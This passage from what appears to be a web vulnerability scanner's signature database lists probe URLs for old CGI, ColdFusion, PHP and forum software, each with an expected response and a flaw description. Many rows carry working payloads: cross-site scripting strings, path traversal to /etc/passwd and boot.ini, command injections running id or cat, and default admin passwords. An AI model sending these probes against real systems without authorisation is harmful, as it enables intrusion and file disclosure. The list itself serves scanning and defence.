  819. "generic","/cbms/realinv.php","200","GET","CBMS Billing Management has had many vulnerabilities in versions 0.7.1 and below. none could be confirmed here, but they should be manually checked if possible. http://freshmeat.net/projects/cbms/"
  820. "generic","/cbms/usersetup.php","200","GET","CBMS Billing Management has had many vulnerabilities in versions 0.7.1 and below. none could be confirmed here, but they should be manually checked if possible. http://freshmeat.net/projects/cbms/"
  821. "generic","/cd-cgi/sscd_suncourier.pl","200","GET","Sunsolve CD script may allow users to execute arbitrary commands. The script was confirmed to exist, but the test was not done."
  822. "generic","/cfappman/index.cfm","200!not found","GET","susceptible to ODBC/pipe-style exploit; see RFP9901 http://www.wiretrip.net/rfp/p/doc.asp/i2/d3.htm"
  823. "generic","/cfcache.map","Mapping","GET","May leak directory listing, may also leave server open to a DOS. http://www.securiteam.com/windowsntfocus/ColdFusion_Information_Exposure__CFCACHE_Tag_.html"
  824. "generic","/cfdocs/cfcache.map","Mapping","GET","May leak directory listing, may also leave server open to a DOS"
  825. "generic","/cfdocs/cfmlsyntaxcheck.cfm","200!not found","GET","can be used for a DoS on the server by requesting it check all .exe's"
  826. "generic","/cfdocs/exampleapp/docs/sourcewindow.cfm?Template=c:\boot.ini","boot loader","GET","Allows attacker to view arbitrary files"
  827. "generic","/cfdocs/exampleapp/email/getfile.cfm?filename=c:\boot.ini","boot loader","GET","Allows attacker to view arbitrary files"
  828. "generic","/cfdocs/examples/cvbeans/beaninfo.cfm","200!not found","GET","susceptible to our ODBC exploit; see RFP9901 http://www.wiretrip.net/rfp/p/doc.asp/i2/d3.htm"
  829. "generic","/cfdocs/examples/parks/detail.cfm","200!not found","GET","susceptible to our ODBC exploit; see RFP9901 http://www.wiretrip.net/rfp/p/doc.asp/i2/d3.htm"
  830. "generic","/cfdocs/expeval/displayopenedfile.cfm","200!not found","GET","Unknown vul"
  831. "generic","/cfdocs/expeval/exprcalc.cfm?OpenFilePath=c:\boot.ini","boot loader","GET","Allows attacker to view arbitrary files."
  832. "generic","/cfdocs/expeval/openfile.cfm","200!not found","GET","Sample code shipped with ColdFusion may allow an attacker to verify the existance of files or directories outside the web server path, launch Denial of Service attacks, and more. CVE-1999-0924. Allaire ASB99-02 (http://www.macromedia.com/v1/handlers/index.cfm?ID=8739&Method=Full)."
  833. "generic","/cfdocs/expeval/sendmail.cfm","200!not found","GET","can be used to send email; go to the page and fill in the form"
  834. "generic","/cfdocs/snippets/evaluate.cfm","200!not found","GET","can enter CF code to be evaluated, or create denial of service see www.allaire.com/security/ technical papers and advisories for info"
  835. "generic","/cfdocs/snippets/fileexists.cfm","200!not found","GET","can be used to verify the existance of files (on the same drive info as the web tree/file)"
  836. "generic","/cfdocs/snippets/gettempdirectory.cfm","200!not found","GET","depending on install, creates files, gives you physical drive info, sometimes defaults to \winnt\ directory as temp directory"
  837. "generic","/cfdocs/snippets/viewexample.cfm","200!not found","GET","this can be used to view .cfm files, request viewexample.cfm?Tagname=..\..\..\file  (.cfm is assumed)"
  838. "generic","/cfide/administrator/index.cfm","PasswordProvided","GET","Coldfusion 4.5.1 and earlier may have an overflow DoS by modifying the login page and submit 40k character passwords. This page should not be accessible to all users. CVE-2000-0538, ALLAIRE:ASB00-14, BID-1314."
  839. "generic","/CFIDE/administrator/index.cfm","PasswordProvided","GET","ColdFusion Administrator for Coldfusion 4.5.1 and earlier may have an overflow DoS by modifying the login page and submit 40k character passwords. This page should not be accessible to all users. CVE-2000-0538. ALLAIRE:ASB00-14. BID-1314."
  840. "generic","/cfide/Administrator/startstop.html","200","GET","can start/stop the server"
  841. "generic","/CFIDE/probe.cfm","Error occured in:","GET","Cold Fusion MX Server reveals the file system path to the web root in error messages. Set 'Enable Robust Exception Information' on the 'Debugging Settings' page."
  842. "generic","/cgi-bin-sdb/printenv","/usr/bin/perl","GET","SuSe is configured with a link from cgi-bin-sdb to cgi-bin. Change the accompanying 'Alias' to 'ScriptAlias' in httpd.conf. BID-4431."
  843. "generic","/cgi-bin/.cobalt/message/message.cgi?info=%3Cscript%3Ealert%28%27alert%27%29%3B%3C/script%3E","alert(\"alert\")","GET","Cobalt RaQ Web Control Panel is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  844. "generic","/cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi","200","GET","Older versions of this CGI allow any user to change the administrator password."
  845. "generic","/cgi-bin/admin/admin.cgi","200","GET","May be ImageFolio Pro administration CGI. Default login is Admin/ImageFolio."
  846. "generic","/cgi-bin/admin/setup.cgi","200","GET","May be ImageFolio Pro setup CGI. Default login is Admin/ImageFolio."
  847. "generic","/cgi-bin/bigconf.cgi","200","GET","BigIP Configuration CGI"
  848. "generic","/cgi-bin/common/listrec.pl","200","GET","This CGI allows attackers to execute commands on the host."
  849. "generic","/cgi-bin/csv_db.cgi?file=|id|","uid","GET","Remote command execution in K-Collect CSV_DB. See http://www.securityfocus.com/bid/14059"
  850. "generic","/cgi-bin/handler","200","GET","comes with IRIX 5.3 - 6.4; allows to run arbitrary commands"
  851. "generic","/cgi-bin/handler/netsonar;cat    /etc/passwd|?data=Download","root:","GET","comes with IRIX 5.3 - 6.4; allows to run arbitrary commands"
  852. "generic","/cgi-bin/jammail.pl?job=showoldmail&mail=|id|","uid","GET","Remote  command execution in JamMail. See http://www.securityfocus.com/bid/13937"
  853. "generic","/cgi-bin/MachineInfo","200","GET","gives out information on the machine (IRIX), including hostname"
  854. "generic","/cgi-bin/pfdisplay.cgi","200","GET","comes with IRIX 6.2-6.4; allows to run arbitrary commands"
  855. "generic","/cgi-bin/test2.pl?<script>alert('Vulnerable');</script>","<script>alert('Vulnerable')</script>","GET","Default Monkey server script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  856. "generic","/cgi-bin/webdist.cgi","200","GET","comes with IRIX 5.0 - 6.3; allows to run arbitrary commands"
  857. "generic","/cgi-bin/wrap","200","GET","comes with IRIX 6.2; allows to view directories"
  858. "generic","/cgi-local/cgiemail-1.4/cgicso?query=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","This CGI is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  859. "generic","/cgi-local/cgiemail-1.4/cgicso?query=AAA","400 Required field missing: fingerhost","GET","This CGI allows attackers to execute remote commands."
  860. "generic","/cgi-local/cgiemail-1.6/cgicso?query=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","This CGI is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  861. "generic","/cgi-local/cgiemail-1.6/cgicso?query=AAA","400 Required field missing: fingerhost","GET","This CGI allows attackers to execute remote commands."
  862. "generic","/cgi-shop/view_item?HTML_FILE=../../../../../../../../../../etc/passwd%00","root:","GET","This CGI allows reading of remote files. CAN-2001-1019."
  863. "generic","/cgi-sys/addalink.cgi","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
  864. "generic","/cgi-sys/cgiecho","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
  865. "generic","/cgi-sys/cgiemail","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
  866. "generic","/cgi-sys/countedit","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
  867. "generic","/cgi-sys/domainredirect.cgi","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
  868. "generic","/cgi-sys/entropybanner.cgi","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
  869. "generic","/cgi-sys/entropysearch.cgi","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
  870. "generic","/cgi-sys/FormMail-clone.cgi","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
  871. "generic","/cgi-sys/helpdesk.cgi","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
  872. "generic","/cgi-sys/mchat.cgi","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
  873. "generic","/cgi-sys/randhtml.cgi","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
  874. "generic","/cgi-sys/realhelpdesk.cgi","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
  875. "generic","/cgi-sys/realsignup.cgi","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
  876. "generic","/cgi-sys/scgiwrap","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
  877. "generic","/cgi-sys/signup.cgi","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
  878. "generic","/cgi/cfdocs/expeval/ExprCalc.cfm?OpenFilePath=c:\windows\win.ini","[fonts]","GET","The ColdFusion install allows attackers to read arbitrary files remotely"
  879. "generic","/cgi/cfdocs/expeval/ExprCalc.cfm?OpenFilePath=c:\winnt\win.ini","[fonts]","GET","The ColdFusion install allows attackers to read arbitrary files remotely"
  880. "generic","/cgi/cgiproc?","200","GET","It may be possible to crash Nortel Contivity VxWorks by requesting '/cgi/cgiproc?$' (not attempted!). Upgrade to version 2.60 or later."
  881. "generic","/cgis/wwwboard/wwwboard.cgi","200","GET","Versions 2.0 Alpha and below have multiple problems. See BID-649 and BID 1795. Default ID 'WebAdmin' with pass 'WebBoard'."
  882. "generic","/cgis/wwwboard/wwwboard.pl","200","GET","Versions 2.0 Alpha and below have multiple problems. See BID-649 and BID 1795. Default ID 'WebAdmin' with pass 'WebBoard'."
  883. "generic","/chassis/config/GeneralChassisConfig.html","Chassis Configuration","GET","The Cabletron switch may allow remote configuration, or data retrieval, through the web interface."
  884. "generic","/chat/!nicks.txt","200","GET","WF-Chat 1.0 Beta allows retrieval of user information."
  885. "generic","/chat/!pwds.txt","200","GET","WF-Chat 1.0 Beta allows retrieval of user information."
  886. "generic","/chat/data/usr","200","GET","SimpleChat! 1.3 allows retrieval of user information."
  887. "generic","/chat/register.php?register=yes&username=OverG&email=<script>alert%20(\"Vulnerable\")</script>&email1=<script>alert%20(\"Vulnerable\")</script>","alert(\"Vulnerable\")</script>","GET","PHP Web Chat 2.0 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  888. "generic","/class/mysql.class","This program is free software","GET","Basilix allows its configuration files to be downloaded, which  may include the mysql auth credentials."
  889. "generic","/cleartrust/ct_logon.asp?CTAuthMode=BASIC&CTLoginErrorMsg=xx&ct_orig_uri=\">< script>alert(1)/script><\"","<script>alert(1)</script>","GET","RSA ClearTrust allows Cross Site Scripting (XSS). CA-2000-02."
  890. "generic","/cleartrust/ct_logon.asp?CTLoginErrorMsg=<script>alert(1)</script>","<script>alert(1)</script>","GET","RSA ClearTrust allows Cross Site Scripting (XSS). CA-2000-02."
  891. "generic","/clusterframe.jsp?cluster=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Macromedia JRun 4.x JMC Interface, clusterframe.jsp file is vulnerable to a CSS attack."
  892. "generic","/clusterframe.jsp","200","GET","Macromedia Jrun 4 build 61650 remote administration interface is vulnerable to several CSS attacks."
  893. "generic","/com","index of","GET","Java class files may be browsable."
  894. "generic","/COM","index of","GET","Java class files may be browsable."
  895. "generic","/comments.php?subject=<script>alert('Vulnerable')</script>&comment=<script>alert('Vulnerable')</script>&pid=0&sid=0&mode=&order=&thold=op=Preview","<script>alert('Vulnerable')</script>","GET","This version of PHP-Nuke's comments.php is vulnerable to Cross Site Scripting (XSS). Upgrade to the latest version. CA-2000-02."
  896. "generic","/comments/browse.php?fid=2&tid=4&go=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","php(Reactor) v1.2.7 and older are vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  897. "generic","/config.inc","200","GET","DotBr 0.1 configuration file includes usernames and passwords."
  898. "generic","/config.php","200","GET","PHP Config file may contain database IDs and passwords."
  899. "generic","/config/","200","GET","Configuration information may be available remotely."
  900. "generic","/Config1.htm","200","GET","This may be a D-Link, some devices have a DoS condition if an oversized POST request is sent. This DoS was not tested. See http://www.phenoelit.de/stuff/dp-300.txt for info."
  901. "generic","/contents.php?new_language=elvish&mode=select","200","GET","Requesting a file with an invalid language selection from DC Portal may reveal the system path."
  902. "generic","/counter/1/n/n/0/3/5/0/a/123.gif","200","GET","The Roxen Counter may eat up excessive CPU time with image requests."
  903. "generic","/cpanel/","200","GET","Web-based control panel"
  904. "generic","/cplogfile.log","200","GET","XMB Magic Lantern forum 1.6b final (http://www.xmbforum.com) log file is readable remotely. Upgrade to the latest version."
  905. "generic","/current/index.php?site=demos&bn=../../../../../../../../../../etc/passwd%00","root:","GET","w-agora 4.1.5 allows any file to be retrieved from the remote host."
  906. "generic","/current/modules.php?mod=fm&file=../../../../../../../../../../etc/passwd%00&bn=fm_d1","root:","GET","w-agora 4.1.5 allows any file to be retrieved from the remote host."
  907. "generic","/custdata/","200","GET","This may be COWS (CGI Online Worldweb Shopping), and may be interesting..."
  908. "generic","/cutenews/index.php?debug","PHP Version","GET","Cutenews 1.3 contains an information disclosure bug that reveals standard 'phpinfo' page output."
  909. "generic","/CVS/Entries","200","GET","CVS Entries file may contain directory listing information."
  910. "generic","/data.sql","200","GET","Database SQL?"
  911. "generic","/data/member_log.txt","200","GET","Teekai's forum full 1.2 member's log can be retrieved remotely."
  912. "generic","/data/userlog/log.txt","200","GET","Teekai's Tracking Online 1.0 log can be retrieved remotely."
  913. "generic","/database/","200","GET","Databases? Really??"
  914. "generic","/database/metacart.mdb","200","GET","MetaCart2 is an ASP shopping cart. The database of customers is available via the web."," "
  915. "generic","/databases/","200","GET","Databases? Really??"
  916. "generic","/databse.sql","200","GET","Database SQL?"
  917. "generic","/db.sql","200","GET","Database SQL?"
  918. "generic","/db/users.dat","200","GET","upb PB allows the user database to be retrieved remotely."
  919. "generic","/DB4Web/10.10.10.10:100","connect()","GET","The remote DB4Web server may allow you to connect to arbitrary machines and ports."
  920. "generic","/dc/auth_data/auth_user_file.txt","200","GET","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information."
  921. "generic","/dc/orders/orders.txt","200","GET","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information."
  922. "generic","/dcforum/dcforum.cgi?az=list&forum=../../../../../../../../../../etc/passwd%00","root:","GET","This install of DCForum allows attackers to read arbitrary files on the host."
  923. "generic","/dcshop/auth_data/auth_user_file.txt","200","GET","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information."
  924. "generic","/dcshop/orders/orders.txt","200","GET","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information."
  925. "generic","/debug/dbg?host==<script>alert('Vulnerable');</script>","<script>alert('Vulnerable');</script>","GET","The TCLHttpd 3.4.2 server is vulnerable to Cross Site Scripting (XSS) in debug scripts. CA-2000-02."
  926. "generic","/debug/echo?name=<script>alert('Vulnerable');</script>","<script>alert('Vulnerable');</script>","GET","The TCLHttpd 3.4.2 server is vulnerable to Cross Site Scripting (XSS) in debug scripts. CA-2000-02."
  927. "generic","/debug/errorInfo?title===<script>alert('Vulnerable');</script>","<script>alert('Vulnerable');</script>","GET","The TCLHttpd 3.4.2 server is vulnerable to Cross Site Scripting (XSS) in debug scripts. CA-2000-02."
  928. "generic","/debug/showproc?proc===<script>alert('Vulnerable');</script>","<script>alert('Vulnerable');</script>","GET","The TCLHttpd 3.4.2 server is vulnerable to Cross Site Scripting (XSS) in debug scripts. CA-2000-02."
  929. "generic","/default.php?error_message=%3Cscript%20language=javascript%3Ewindow.alert%28document.cookie%29;%3C/script%3E","<script language=javascript>window.alert(document.cookie);</script>","GET","osCommerce is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  930. "generic","/default.php?info_message=%3Cscript%20language=javascript%3Ewindow.alert%28document.cookie%29;%3C/script%3E","<script language=javascript>window.alert(document.cookie);</script>","GET","osCommerce is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  931. "generic","/demo/ojspext/events/globals.jsa","event:application_OnStart","GET","Oracle 9iAS allows .jsa files to be retrieved, which may contain sensitive information."
  932. "generic","/demo/sql/index.jsp","JSP SQL Samples","GET","This default may allow connectivity to the Oracle databases."
  933. "generic","/dev/translations.php?ONLY=%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd%00","root:","GET","Typo3 allows any file to be retrieved remotely. Upgrade to the latest version."
  934. "generic","/directory.php?dir=%3Bcat%20/etc/passwd","root:","GET","Marcus S. Xenakis directory.php script allows for command execution. CAN-2002-0434."
  935. "generic","/dms0","DMSDUMP version","GET","Default Oracle 9iAS allows access to Dynamic Monitoring Services"
  936. "generic","/doc/","200","GET","The /doc directory is browsable. This may be /usr/doc."
  937. "generic","/doc/packages/","index of /doc","GET","This directory may show attackers all the packages installed on the system."
  938. "generic","/docs/<script>alert('Vulnerable');</script>","<script>alert('Vulnerable');</script>","GET","Nokia Electronic Documentation is vulneable to Cross Site Scripting (XSS). CAN-2003-0801."
  939. "generic","/docs/NED?action=retrieve&location=.","docs\ned","GET","Nokia Electronic Documentation allows directory listings and reveals its installation path. CAN-2003-0802."
  940. "generic","/docs/showtemp.cfm?TYPE=JPEG&FILE=c:\boot.ini","boot loader","GET","Gafware's CFXImage allows remote users to view any file on the system."
  941. "generic","/DomainFiles/*//../../../../../../../../../../etc/passwd","root:","GET","Communigate Pro 4.0b to 4.0.2 allow any file to be retrieved from the remote system."
  942. "generic","/dostuff.php?action=modify_user","200","GET","Blahz-DNS allows unauthorized users to edit user information. Upgrade to version 0.25 or higher. http://blahzdns.sourceforge.net/"
  943. "generic","/download.php?op=viewdownload","Failed opening","GET","PHPNuke allows file system paths to be revealed."
  944. "generic","/download.php?op=viewdownload","Fatal error","GET","PHPNuke allows file system paths to be revealed."
  945. "generic","/download.php?sortby=&dcategory=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","This version of PHP-Nuke's download.php is vulnerable to Cross Site Scripting (XSS). Upgrade to the latest version. CA-2000-02."
  946. "generic","/downloads/pafiledb.php?action=download&id=4?\"<script>alert('Vulnerable')</script>\"","<script>alert('Vulnerable')</script>","GET","Pafiledb by PHP Arena is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  947. "generic","/downloads/pafiledb.php?action=email&id=4?\"<script>alert('Vulnerable')</script>\"","<script>alert('Vulnerable')</script>","GET","Pafiledb by PHP Arena is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  948. "generic","/downloads/pafiledb.php?action=rate&id=4?\"<script>alert('Vulnerable')</script>\"","<script>alert('Vulnerable')</script>","GET","Pafiledb by PHP Arena is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  949. "generic","/edittag/edittag.cgi?file=%2F..%2F..%2F..%2F..%2F..%2Fetc/passwd","root:","GET","EditTag allows arbitrary file retrieval."
  950. "generic","/emailfriend/emailarticle.php?id=\"<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  951. "generic","/emailfriend/emailfaq.php?id=\"<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  952. "generic","/emailfriend/emailnews.php?id=\"<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  953. "generic","/error/500error.jsp?et=1<script>alert('Vulnerable')</script>;","<script>alert('Vulnerable')</script>","GET","Macromedia Sitespring 1.2.0(277.1) on Windows 2000 is vulnerable to Cross Site Scripting (XSS) in the error pages. CA-2000-02."
  954. "generic","/errors/needinit.php?GALLERY_BASEDIR=http://xxxxxxxx/","http://xxxxxxxx/errors/configure_instructions","GET","Gallery 1.3.0 and below allow PHP files to be included from another domain. Upgrade to the latest version."
  955. "generic","/esp?PAGE=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Escapade Scripting Engine is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  956. "generic","/etc/passwd","root:","GET","An '/etc/passwd' file is available through the web site. This may not be good at all."
  957. "generic","/eventum/forgot_password.php?email=\"><script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","MySQL Eventum is vulnerable to XSS. OSVDB-12607."
  958. "generic","/eventum/index.php?err=3&email=\"><script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","MySQL Eventum is vulnerable to XSS. OSVDB-12606."
  959. "generic","/ews/ews/architext_query.pl","200","GET","Versions older than 1.1 of Excite for Web Servers allow attackers to execute arbitrary commands. BID-2665."
  960. "generic","/exair/howitworks/Code.asp","200","GET","Scripts within the Exair package on IIS 4 can be used for a DoS against the server. CVE-1999-0449. BID-193."
  961. "generic","/examples/basic/servlet/HelloServlet","The source of this servlet is in","GET","Caucho Resin from http://www.caucho.com/ reveals file system paths with a default servlet."
  962. "generic","/examples/jsp/snp/anything.snp","200","GET","Tomcat servlet gives lots of host information."," "
  963. "generic","/exec/show/config/cr","ip address","GET","The Cisco router's web install allows arbitrary commands to be executed remotely."
  964. "generic","/ext.dll?MfcIsapiCommand=LoadPage&page=admin.hts%20&a0=add&a1=root&a2=%5C","200","GET","This check (A) sets up the next bad blue test (B) for possible exploit. see http://www.badblue.com/down.htm"
  965. "generic","/ext.ini.%00.txt","200","GET","BadBlue allows access restrictions to be bypassed by using a null byte."
  966. "generic","/ezhttpbench.php?AnalyseSite=/etc/passwd&NumLoops=1","root:","GET","eZ httpbench version 1.1 allows any file on the remote server to be retrieved."
  967. "generic","/fcgi-bin/echo?foo=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Fast-CGI has two default CGI programs (echo.exe/echo2.exe) vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  968. "generic","/fcgi-bin/echo.exe?foo=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Fast-CGI has two default CGI programs (echo.exe/echo2.exe) vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  969. "generic","/fcgi-bin/echo2?foo=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Fast-CGI has two default CGI programs (echo.exe/echo2.exe) vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  970. "generic","/fcgi-bin/echo2.exe?foo=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Fast-CGI has two default CGI programs (echo.exe/echo2.exe) vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  971. "generic","/file-that-is-not-real-2002.php3","Unable to open","GET","PHP is configured to show the web root when sending error messages. Set display_errors to 'off'."
  972. "generic","/filemanager/filemanager_forms.php","200","GET","Some versions of PHProjekt allow remote file inclusions. Verify the current version is running. See http://www.securiteam.com/unixfocus/5PP0F1P6KS.html for more info"
  973. "generic","/finance.xls","200","GET","Finance spreadsheet?"
  974. "generic","/finances.xls","200","GET","Finance spreadsheet?"
  975. "generic","/firewall/policy/dlg?q=-1&fzone=t<script>alert('Vulnerable')</script>>&tzone=dmz","<script>alert('Vulnerable')</script>","GET","Fortigate firewall 2.50 and prior contains several CSS vulnerabilities in various administrative pages."
  976. "generic","/firewall/policy/policy?fzone=internal&tzone=dmz1<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Fortigate firewall 2.50 and prior contains several CSS vulnerabilities in various administrative pages."
  977. "generic","/foo.php3","200","GET","DotBr 0.1 has a phpinfo() script called foo.php3."
  978. "generic","/forgot_password.php?email=\"><script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","MySQL Eventum is vulnerable to XSS. OSVDB-12607."
  979. "generic","/forum_members.asp?find=%22;}alert('Vulnerable');function%20x(){v%20=%22","alert('Vulnerable')","GET","Web Wiz Forums ver. 7.01 and below is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  980. "generic","/forum/admin/database/wwForum.mdb","200","GET","Web Wiz Forums pre 7.5 is vulnerable to Cross-Site Scripting attacks. Default login/pass is Administrator/letmein"
  981. "generic","/forum/admin/wwforum.mdb","200","GET","Web Wiz Forums passwords found."
  982. "generic","/forum/bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK","root:","GET","The PHPNuke admin.php is vulnerable to a remote file retrieval vul. It should be upgraded to the latest version. CAN-2001-0320"
  983. "generic","/forum/index.php?method=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Zorum v3.4 and below are vulnerable to XSS attacks."
  984. "generic","/forum/memberlist.php?s=23c37cf1af5d2ad05f49361b0407ad9e&what=\">\"<script>javascript:alert(document.cookie)</script>","alert(document.cookie)</script>","GET","Vbulletin 2.2.9 and below are vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  985. "generic","/forumdisplay.php?GLOBALS[]=1&f=2&comma=\".system('id').\"","uid=0","GET","VBulletin forumdisplay.php remote command execution. BID-12542"
  986. "generic","/forums/@ADMINconfig.php","200","GET","PHP Config file may contain database IDs and passwords."
  987. "generic","/forums/browse.php?fid=3&tid=46&go=<script>JavaScript:alert('Vulnerable');</script>","<script>alert('Vulnerable')</script>","GET","php(Reactor) is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  988. "generic","/forums/config.php","200","GET","PHP Config file may contain database IDs and passwords."
  989. "generic","/forums/index.php?board=;action=login2&user=USERNAME&cookielength=120&passwrd=PASSWORD<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","YaBB is vulnerable to Cross Site Scripting (XSS) in the password field of the login page. CA-2000-02."
  990. "generic","/forums/index.php?top_message=<script>alert(document.cookie)</script> ","200","GET","Led-Forums allows any user to change the welcome message, and it is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  991. "generic","/forumscalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22","uid","GET","Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html"
  992. "generic","/forumzcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22","uid","GET","Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html"
  993. "generic","/fpdb/shop.mdb","200","GET","MetaCart2 is an ASP shopping cart. The database of customers is available via the web."," "
  994. "generic","/friend.php?op=SiteSent&fname=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","This version of PHP-Nuke's friend.php is vulnerable to Cross Site Scripting (XSS). Upgrade to the latest version. CA-2000-02."
  995. "generic","/gallery/search.php?searchstring=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Gallery 1.3.4 and below is vulnerable to Cross Site Scripting (XSS). Upgrade to the latest version. BID-8288."
  996. "generic","/ganglia/","Cluster","GET","Ganglia Cluster reports reveal detailed information."
  997. "generic","/gb/index.php?login=true","200","GET","gBook may allow admin login by setting the value 'login' equal to 'true'."
  998. "generic","/geeklog/users.php","200","GET","Geeklog prior to 1.3.8-1sr2 contain a SQL injection vulnerability that lets a remote attacker reset admin password."
  999. "generic","/getaccess","200","GET","This may be an indication that the server is running getAccess for SSO"
  1000. "generic","/global.inc","200","GET","PHP-Survey's include file should not be available via the web. Configure the web server to ignore .inc files or change this to global.inc.php"
  1001. "generic","/globals.jsa","200","GET","Oracle globals.jsa file"
  1002. "generic","/guestbook/?number=5&lng=%3Cscript%3Ealert(document.domain);%3C/script%3E","200","GET","MPM Guesbook 1.2 and previous are vulnreable to CSS/XSS attacks."
  1003. "generic","/guestbook/admin.php","200","GET","Guestbook admin page available without authentication."
  1004. "generic","/guestbook/admin/o12guest.mdb","200","GET","Ocean12 ASP Guestbook Manager allows download of SQL database which contains admin password."
  1005. "generic","/guestbook/guestbook.html","Jason Maloney","GET","Jason Maloney CGI Guestbook 3.0 allows remote code execution. Bugtraq 2003-12-01"
  1006. "generic","/guestbook/guestbookdat","200","GET","PHP-Gastebuch 1.60 Beta reveals sensitive information about its configuration."
  1007. "generic","/guestbook/pwd","200","GET","PHP-Gastebuch 1.60 Beta reveals the md5 hash of the admin password."
  1008. "generic","/GW5/GWWEB.EXE?HELP=bad-request","Could not find file SYS","GET","Groupwise allows system information and file retrieval by modifying arguments to the help system."
  1009. "generic","/GWWEB.EXE?HELP=bad-request","Could not find file SYS","GET","Groupwise allows system information and file retrieval by modifying arguments to the help system. CAN-2002-0341."
  1010. "generic","/help.html","nice little interface into SPIKE","GET","SPIKE Proxy may be running. Try using this port as a proxy, and see http://www.immunitysec.com/".
  1011. "generic","/help.php?chapter=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Squirrel Mail 1.2.7 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1012. "generic","/help/","200","GET","Help directory should not be accessible"
  1013. "generic","/hints.pl?|id|","uid","GET","Remote command execution in  WebHints. See http://www.securityfocus.com/bid/13930"
  1014. "generic","/hola/admin/cms/htmltags.php?datei=./sec/data.php","200","GET","hola-cms-1.2.9-10 may reveal the administrator ID and password."
  1015. "generic","/home.php?arsc_language=elvish","Failed opening '","GET","ARSC Really Simple Chat can reveal file system paths if an invalid language name is specified."
  1016. "generic","/horde/imp/test.php","Horde Versions","GET","Horde script reveals detailed system/Horde information."
  1017. "generic","/horde/test.php?mode=phpinfo","PHP Version","GET","Horde allows phpinfo() to be run, which gives detailed system information."
